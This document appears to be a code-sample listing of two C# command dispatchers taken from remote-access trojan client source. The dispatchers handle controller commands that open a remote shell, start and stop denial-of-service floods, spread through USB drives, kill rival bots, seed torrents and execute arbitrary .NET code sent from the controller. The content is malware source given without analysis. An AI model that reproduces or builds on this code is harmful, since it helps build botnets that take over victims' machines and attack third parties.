Exemple #1
0
        public static void Read(object data)
        {
            try
            {
                MsgPack unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes((byte[])data);
                switch (unpack_msgpack.ForcePathObject("Pac_ket").AsString)
                {
                case "shell":
                {
                    HandleShell.StarShell();
                    break;
                }

                case "shellWriteInput":
                {
                    if (HandleShell.ProcessShell != null)
                    {
                        HandleShell.ShellWriteLine(unpack_msgpack.ForcePathObject("WriteInput").AsString);
                    }
                    break;
                }

                case "dosAdd":
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Pac_ket").AsString = "dosAdd";
                    Connection.Send(msgpack.Encode2Bytes());
                    break;
                }


                case "dos":
                {
                    switch (unpack_msgpack.ForcePathObject("Option").AsString)
                    {
                    case "postStart":
                    {
                        ctsDos = new CancellationTokenSource();
                        new HandleDos().DosPost(unpack_msgpack);
                        break;
                    }

                    case "postStop":
                    {
                        ctsDos.Cancel();
                        Thread.Sleep(2500);
                        Connection.Disconnected();
                        break;
                    }
                    }
                    break;
                }
                }
            }
            catch (Exception ex)
            {
                Error(ex.Message);
            }
        }
Exemple #2
0
        public static void Read(object data)
        {
            try
            {
                MsgPack unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes((byte[])data);
                switch (unpack_msgpack.ForcePathObject("Packet").AsString)
                {
                case "botKiller":
                {
                    new HandleBotKiller().RunBotKiller();
                    Connection.Disconnected();
                    break;
                }

                case "limeUSB":
                {
                    new HandleLimeUSB().Initialize();
                    Connection.Disconnected();
                    break;
                }

                case "torrent":
                {
                    new HandleTorrent(unpack_msgpack);
                    Connection.Disconnected();
                    break;
                }

                case "shell":
                {
                    HandleShell.StarShell();
                    break;
                }

                case "shellWriteInput":
                {
                    if (HandleShell.ProcessShell != null)
                    {
                        HandleShell.ShellWriteLine(unpack_msgpack.ForcePathObject("WriteInput").AsString);
                    }
                    break;
                }

                case "dosAdd":
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "dosAdd";
                    Connection.Send(msgpack.Encode2Bytes());
                    break;
                }


                case "dos":
                {
                    switch (unpack_msgpack.ForcePathObject("Option").AsString)
                    {
                    case "postStart":
                    {
                        ctsDos = new CancellationTokenSource();
                        new HandleDos().DosPost(unpack_msgpack);
                        break;
                    }

                    case "postStop":
                    {
                        ctsDos.Cancel();
                        Connection.Disconnected();
                        break;
                    }
                    }
                    break;
                }


                case "executeDotNetCode":
                {
                    new HandlerExecuteDotNetCode(unpack_msgpack);
                    Connection.Disconnected();
                    break;
                }
                }
            }
            catch (Exception ex)
            {
                Error(ex.Message);
            }
        }